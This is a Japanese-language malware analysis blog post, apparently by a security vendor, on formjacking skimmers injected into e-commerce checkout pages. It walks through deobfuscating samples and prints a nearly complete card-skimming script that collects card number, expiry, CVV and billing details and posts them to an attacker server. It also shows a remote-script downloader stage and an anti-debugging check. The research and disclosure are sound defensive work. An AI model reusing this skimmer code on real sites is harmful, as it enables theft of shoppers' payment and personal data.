This post is also available in: English (英語)
概要
インターネットの台頭は多くの点で人々の生活にプラスに働いてきました。いまでは、インターネット上でほぼどんなサービスでも見つけることができます。ですが同時にインターネットの利便性はマルウェアで個人の機微情報を盗むための扉も開いてしまいます。残念ながらマルウェア作成者によるこうした機会の悪用は増える一方です。
サイバー犯罪者が悪意のあるJavaScriptコードを挿入してWebサイトをハッキングし、サイトのフォームページ機能を乗っ取って機微なユーザー情報を収集する「フォームジャッキング」攻撃は、最も急速に成長しているサイバー攻撃の1つです。こうしたスクリプトはECサイトの「チェックアウト(会計)」ページでキャプチャした支払いフォームからクレジットカードの詳細その他の個人情報を盗むように設計されています。
ハッキングによって侵害されたECサイトにユーザーが知らずにアクセスした場合、チェックアウトページで商品をカートに入れてチェックアウトし、クレジットカード情報(名前、住所、電子メール、クレジットカード番号、CVV、有効期限など)を入力することになります。そしてユーザーが「チェックアウト」や「送信」ボタンをクリックすると、悪意のあるコードがユーザーの入力情報を収集し、攻撃者のコマンド&コントロール(C2)サーバーに送信します。元の発注じたいは影響を受けないのでユーザーは予期したとおりに製品を受け取れてしまいます。多くの大手ECサイトがこの手法で侵害されており、その中にはBritish Airways、Ticketmaster、Delta、Newegg、Topps.com Sports Collectiblesなども含まれます。
フォームジャッキング攻撃の処理の流れがどのようなものかを図1に示します。
フォームジャッキング用コードを記述してそれを侵害されたサイトに配備することは、攻撃者にとってはそれほど難しことではありません。これならマルウェアの配備やシステム侵害の手間がかからず、クレジットカード情報をすばやく簡単に盗むことができます。
とくに昨今ECサイトサービスは非常に人気が高いことからこの手法は攻撃者にとっては非常に魅力的です。
そこで本稿では、フォームジャッキングのコードのしくみについて詳しく説明していきます。なお、パロアルトネットワークス製品をお使いのお客様はフォームジャッキング攻撃から保護されています。WildFireはフォームジャッキング攻撃を悪意のあるものとして検出して正しく識別し、PANDBはURLを悪意のあるものとして識別します。
典型的なフォームジャッキング攻撃
以下は典型的なフォームジャッキング攻撃からのサンプルです。2020年4月8日時点では、VirusTotal上で3つのアンチウイルスサービスのみがこのコードを「悪意がある」ものとして検出していました。(SHA256:a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14)
このコードは非常に長ったらしく、また高度に難読化されています。内容を読み取るには先に難読化を解除する必要があります。以下はその元となったコードの一部です。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
window["payment_checkout1"] = ["W*!`[EnTa/mKelU*R=R'3/ngu8mpe/rqxo7N_EcglaDrvtla5qoK`'!]" [(785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0)["toString"](("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 + 36.0))](/[\!8ET\/W`Nl5vRDpgUqKx37]/g, ""), "+Ki<(n1JpUuLtq[@i;dg*GZ=l%'+ckc0_5nfIu!Bm#bTexr-2'H]" [(8.0 + "Q#C|UZ$?hm)*s" ["charCodeAt"](11) * 477238723)["toString"]((3 * "4%|6W5laMO" ["length"] + 0.0))](/[qLGUZ\- \@k\#\+2TfKJ0I\(\!H\<\;\%xlg15B]/g, ""), "0)*N[/nsaOmve@*h=4'Nc0c6d_G5nKukm3'3]" [(387097319 * "~s\x84\x60u\x89t1\x80VC?L\x85ZWmw" ["charCodeAt"](11) + 36.0)["toString"](("Vu.\x8a^'\x81E\x806" ["length"] * 3 + 1.0))](/[0\/N3d6sh\)4kv5\@KOG]/g, "")]; |
まず目に入ったのが次の基本構造でした。
1 |
window["payment_checkout1"] = [var1, var2, ...] |
var1を例にとり、これを3つの部分に分解します。
- ["W*!
[EnTa/mKelU*R=R'3/ngu8mpe/rqxo7N_EcglaDrvtla5qoK
'!]" は文字列の1つめの部分です。これは暗号化されています。 - [(785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0)["toString"](("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0))] は2つめの部分です。
- (785034646 * "kNL7xIvgS.\x85j}_K=" ["charCodeAt"](2) + 22.0) を計算して 59662633118を得ます。
- ("Y^8ZH/D:0$or5<+\x8aqU" ["charCodeAt"](3) * 0 +36.0)) も計算して36を得ます。
- つまり2つめの部分は(59662633118).toString(36)に等しくなります。この結果は「replace」という文字列になります(toString関数についてはこちらの文書を参照)。
- (/[\!8ET\/W
Nl5vRDpgUqKx37]/g, ""
) が3つめの部分になりますが、これは正規表現のパターンです。
結果的にvar1は"xxxxx".replace(/[\!8ET\/WNl5vRDpgUqKx37]/g, "") と等しくなるので、ここでは正規表現を使って文字列を復号していることになります。復号されたvar1は"*[name*='numero_cartao']"になります。
最終的にこのコードの難読化を解除すると、次の結果が得られます。
1 2 |
window["payment_checkout1"] = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"] |
次のコードは元のコードからの別の部分です。
1 2 3 4 5 6 7 8 |
document["addEv" + String.fromCharCode(101) + "ntListen" + String.fromCharCode(101) + "r"]("lDKOQM9C4 /oSn&tNesQnStjXL7Ao6aTdVse`d" [(48.0 + "7$bz?m|9\x80c\x88OpJI.{RdH" ["charCodeAt"](7) * 427844405)["toString"] (("NC}1r\x81W" ["length"] * 4 + 3.0))](/[4TlN9s6Sj`\&VKQA7X\/]/g, ""), function(event) { sHv(); }); |
このコードも難読化を解除すると次の内容になります。
1 2 |
document.addEventListener("DOMContentLoaded", function() { sHv();}, false); |
こうして元のコードの核心部分の難読化を解除した結果が次のコードです。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 |
window["payment_checkout1"] = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"] window["payment_checkout2"] = ["*[name*='expiracao_mes']", "*[name*='cc_exp_m']", "*[name*='expirationMonth']"] window["payment_checkout3"] = ["*[name*='expiracao_ano']", "*[name*='cc_exp_y']", "*[name*='expirationYear']"] window["payment_checkout4"] = ["*[name*='codigo_seguranca']", "input[id*='cc_cid']", "*[name*='cc_cid']"] function hZy(keys, values) { var r = []; for (var i = 0; i < keys.length; i++) { r.push(encodeURIComponent(keys[i]) +"="+ encodeURIComponent(values[i])) } return r.join("&"); } function UWo(str, index, replacement) { return str.substr(0, index) + replacement + str.substr(index + replacement.length); } function F8S(str) { var hex = ""; for (var i = 0; i < str.length; i++) { hex += str.charCodeAt(i).toString(16); } //switch 2 bytes for (var i = 0; i < hex["length"]; i += 2) { var c1 = hex.substr(i, 1); var c2 = hex.substr(i+1, 1); hex = UWo(hex, i, c2); hex = UWo(hex, i+1, c1); } return hex; } function wIW(post_data, success) { var xhr = window["XMLHttpRequest"] ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP"); xhr.open("POST", "https://magentoengine.su/stat.js"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onload = function() {}; xhr.send(encodeURI(post_data)); return xhr; } function pa4(selectors) { for (var i =0; i < selectors["length"]; i++) { var selector = selectors[I]; var elem = document["querySelector"](selector); if (elem) return elem; } return false; } function LBM(sel) { var el = document["querySelector"](sel); if (!el) return "" return el["value"]; } function fdT(selectors) { var el = pa4(selectors); if (!el) return "" return el["value"]; } function zTI() { ... var val_1 = fdT(window["payment_checkout1"]); var val_2 = fdT(window["payment_checkout2"]); var val_3 = fdT(window["payment_checkout3"]); var val_4 = fdT(window["payment_checkout4"]); if ((!val_1) || (!val_4) || (!val_2) || (!val_3)) { return; } var val_5 = LBM("*[name='billing[firstname]']"); var val_6 = LBM(*[name='billing[lastname]']"); var val_7 = LBM("*[name='billing[street][]']"); var val_8 = LBM("*[name='billing[city]']"); var val_9 = LBM("*[name='billing[region_id]']"); var val_10 = LBM("*[name='billing[postcode]']"); var val_11 = LBM("*[name='billing[country_id]']"); var val_12 = LBM("*[name='billing[telephone]']"); var val_13 = LBM("*[name='billing[email]']"); var keys = []; var values = []; keys.push("host"); values.push(ant_host); keys.push("number); values.push(val_1); keys.push("exp1"); values.push(val_2); keys.push("exp2"); values.push(val_3); keys.push("cvv"); values.push(val_4); keys.push("firstname"); values.push(val_5); keys.push("lastname"); values.push(val_6); keys.push("address"); values.push(val_7); keys.push("city"); values.push(val_8); keys.push("state"); values.push(val_9); keys.push("zip"); values.push(val_10); keys.push("country"); values.push(val_11); keys.push("phone"); values.push(val_12); keys.push("email"); values.push(val_13); keys.push("uagent"); values.push(navigator.userAgent); var en = F8S(hZy(keys, values)); if (en == window["ant_last_data"]) return; window["ant_last_data"] = en; values = "touch="+ en; wIW(values, false); } function yfJ() { if (!(pa4(window["payment_checkout1"]))) return; var elems_all = []; var selectors = ["button[onclick*='.save']", "button[class*='checkout']"]; for (var i = 0; i < selectors.length; i++) { var selector = selectors[I]; var elems = document.querySelectorAll(selector); for (var j =0; j < elems.length; j++) { var elem = elems[j]; if (!(elems_all.includes(elem))) { elems_all.push(elem); } } } for (var i = 0; i < elems_all.length; i++) { var elem = elems_all[I]; var dk = elem["getAttribute"]("ant_check"); if (dk == "1") { continue; } elem.addEventListent("click", function() { try { zTI(); } catch (err) {} }); elem.addEventListent("mousedown", function() { try { zTI(); } catch (err) {} }); elem["setAttribute"]("ant_check", "1"); } } function sHv() { if (window["ant_loaded"]) return; window["ant_loaded"] = true; yfJ(); window["ant_interval"] = setInterval(function() { <strong> yfJ()</strong>; }, 7000); } <strong>document.addEventListener("DOMContentLoaded", function() { sHv();}, false);</strong> window.addEventListener("load", function() { sHv();}, false); |
これでようやくイベントの主な流れがわかるようになりました。
- リスナーを "DOMContentLoaded" 上に作成し、イベントを"load"し、ページのロードが終わったらsHv関数を実行します。このsHv関数はタイマーを作成してyFj関数を7秒ごとに実行します。
- yFj関数はページ内のすべての支払関連ボタンをスキャンします。このさいに利用されるのが"button[onclick*='.save']" と "button[class*='checkout']"です。これが存在していれば"click"リスナー、"mousedown"リスナーがイベント関数zTIを指定して生成されます。
- ユーザーが関連するボタンをクリックするとzTI関数がトリガーされ、zTI関数はdocument.querySelector (pa4関数参照)を使って下のHTML要素のどんな値であれ収集します。これらの値にはクレジットカードの情報が含まれています。
- window["payment_checkout1"] = ["*[name*='numero_cartao']", "input[id*='cc_number']", "*[name*='cc_num']"]
- window["payment_checkout2"] = ["*[name*='expiracao_mes']", "*[name*='cc_exp_m']", "*[name*='expirationMonth']"]
- window["payment_checkout3"] = ["*[name*='expiracao_ano']", "*[name*='cc_exp_y']", "*[name*='expirationYear']"]
- window["payment_checkout4"] = ["*[name*='codigo_seguranca']", "input[id*='cc_cid']", "*[name*='cc_cid']"]
- その後hZy関数とF8S関数が呼び出され、収集したデータを暗号化します。
- 最後にwIW関数が呼び出されて暗号化したデータをリモートサーバーに送信します。
主な処理の流れを次の図2に示します。
ようするに「クリック」イベントをリッスンし、クリックイベントが発生すればフォームに入力したすべての支払い情報を収集してC2サーバーに送信する、ということです。
高度な例
これが高度なフォームジャッキング攻撃だと、自身をより巧妙に隠しているため、追跡が非常に難しくなります。この分析では以下のSHA256値をもつサンプルを使用します。
(SHA256: 5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119)
一見するとこちらのコードはほんの数行だけとシンプルです。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
1. var PFG="80y0y151n3a2p360w2r2s320w1p0w2s".constructor; … 2. for(...) { qKn+=... } 3. var hAn={}; hAn["t"+"oStri"+(70>17?"\x6e":"\x68")+"g"]=PFG["con"+(86>33?"\x73":"\ x6b")+"t"+"ru"+String.fromCharCode(99)+" tor"](qKn); 4. qKn=hAn+"e1l151n2s332r39312t32382j0y0y170y0y17141j1h1q |
上記の4段階は次のようになっています。
- PFGという変数を生成する。これは文字列のコンストラクタ関数です。
- ループを使って第2段階のコードを復号し、復号したコードをqKn 変数に割り当てます。
- hAn.toString関数をPFG.constructor(qKn).constructorでオーバーライドします。
- hAn.toString()関数を実行すると"xxx".constructor(qKn).constructor()が実行され、これがqKnをコードとして実行します。2ステップ目でqKnには第2段階のコードが割り当てられています。
次に第2段階のコードを分析していきます。このコードのハッシュ値は次のとおりです。
(SHA256:1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
1. var cdn = document["createElement"]("_s!cCr_i0p~=t" ["replace"](/[0C\!\_\=\~]/g, "")); ... 2. cdn["src"] = "]qhft+tw8pvsB:Q/w/KmlkybxFi;nPtYBa9d8.zcu9oA[ml/VjFNs@/3Zc@oX(n85tge GnQtA.Lj[s" [(2709681237 * "\x89se-}]ucS" ["length"] + 0.0)["toString"](("\x81f8OSZ^*.5#\x60x\x7f|Pn$]~" ["charCodeAt"](7) * 0 + 31.0))](/ [bP\+\]9fk8GFYglv\[\@K\(VXLqBwZ5uzQ\;AN3]/g, ""); ... 3. document["body"]["appendChild"](cdn); |
先に説明したとおり、ここでは「正規表現」がコードの難読化に利用されています。復号すると、これが単なるダウンローダで、以下の内容しか行っていないことがわかります。
- DOM要素 cdn=document.createElement("script")を生成する
- 要素のソースURLをcdn.src="hxxps://xxxxxx[.]com/js/content.js";に設定する
- この要素をDOMツリーにアペンドする
つまりこのコードは第3段階のコードをhxxps://myxintad[.]com/js/content.jsからダウンロードするわけですが、このURLにはすでにアクセスができなくなっています。このため内容は取得できていませんが、以前行った分析の結果からは、強力なJavaScriptを使えば攻撃者にはじつに様々なことが行えます。たとえば次のようなことが行えるのです。
-
- コードの難読化と暗号化
- 標的のWebサイトにはダウンローダだけを配置しておき、実際の悪意のあるコードは自身のリモートサーバー上に配置する。こうしておけば、攻撃者はコンテンツをたやすく変更でき、アクセス可能にする期間も決めることができる
- 多段階のマルウェアを作成して追跡がより困難となるようにする。ここでも第1段階から第3段階まであって、リサーチャーにとっては大きなストレスのもとに
さらに高度なテクニック
マルウェア作成者は場合によってはさらに高度なテクニックを使い、コードをデバッグしにくくします。次の分析では以下のSHA256値をもつサンプルを使用します。上記で分析したものとよく似ていますが、以下には難読化された追加のアンチデバッグコードが含まれています。
(SHA256:981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec)
1 2 3 4 5 6 7 8 |
i&&t||!(window[""+(69>36?"\x46":"\x3f")+"ir"+"ebu"+(69>16?"\x67":"\x5 f")+""]&&window[""+(64>43?"\x46":"\x3d")+" ir"+"ebu"+(61>21?"\x67":"\x5d")+""]["c"+"hr"+(85>21?"\x6f":"\x69")+"m e"]&&window["Fi"+(54>43?"\x72":"\x68")+"e" +""+(70>31?"\x62":"\x59")+"ug"]["chr"+(76>48?"\x6f":"\x66")+""+"m"+(9 9>29?"\x65":"\x60")+""]["isIni"+(76>22?" \x74":"\x6d")+""+""+(63>30?"\x69":"\x61")+"alized"]||t||i)? .................... |
この難読化を解除したコードは次のとおりです。
1 2 |
i && t || !(window["Firebug"] && window["Firebug"]["chrome"] && window["Firebug"]["chrome"]["isInitialized"] || t || i) ? |
このコードは次の2つのテクニックを使い、分析がされにくいようにしてあります。
- 分析者がFirebugデバッガを使ってコードをデバッグしているかどうかをチェックする
- JavaScriptの条件演算子を使い、検出結果によって別の条件節を実行させる。場合によってはわざわざjavascriptの条件演算子をカスケードさせたりもする(例: "condition1 ?aaa: (condition2?bbb: (condition3?ccc: ddd)))")。こうなるとデバッグのブレークポイント設定がひたすら面倒になります。
結論
JavaScriptはけっして新しいテクノロジというわけではありません。これまで20年以上使われてきていますし絶えずアップデートもされています。今日ほとんどのWebサイトにはJavascriptが使用されているので、フォームジャッキングのようなJavaScriptを使った攻撃はトレンドになりつつと私たちは見ています。
フォームジャッキング攻撃によるリスクを緩和するため、オンラインで小売業やECサイトを営む皆さんは、自社のシステムやコンポーネント、Webプラグインのすべてにパッチを適用し、侵害を受けないようにしておくことが推奨されます。あわせて、定期的にWebコンテンツの整合性チェックをオフラインで実行することで、攻撃者にページが編集されていないか、悪意のあるJSコードが挿入されていないかを確認するのがベストプラクティスといえるでしょう。最後にコンテンツ管理システム(CMS)の管理者は、強力なパスワードでブルートフォース攻撃を受けにくくしておくべきでしょう。
ご自身がECサイトで買い物をする消費者である場合は、PayPalやVISA Securedなど、よく利用されているワンタイムの支払いオプションを使って支払いをすることをお勧めします。できるかぎり、ご自身のクレジットカードを利用するのは控えましょう。また最近のオンライン取引が原因でクレジットカード情報が盗まれたと信じる理由がある場合は、すぐに銀行に連絡してカードの利用停止・再発行をしてもらうべきでしょう。くわえて、盗まれた個人情報で新しいアカウントを開設できないよう、クレジット凍結も検討すべきでしょう。
パロアルトネットワークス製品をお使いのお客様はフォームジャッキング攻撃から保護されています。WildFireはフォームジャッキング攻撃を悪意のあるものとして検出して正しく識別し、PANDBはURLを悪意のあるものとして識別します。
謝辞
Kyle Wilhoit氏、Jen Miller Osborn氏、ならびにMark Karayan氏には本稿に助言をいただき、また内容改善にご協力いただきました。ここに厚くお礼申し上げます。ありがとうございました。
IOC
hxxps://www.cheshirehorse[.]com/
a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14
hxxp://92wear[.]vn/
5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119
1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4
hxxps://www.posterburner[.]com/SavedSession.aspx?SID=3Daba5c976c3f441ecbf449=
981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec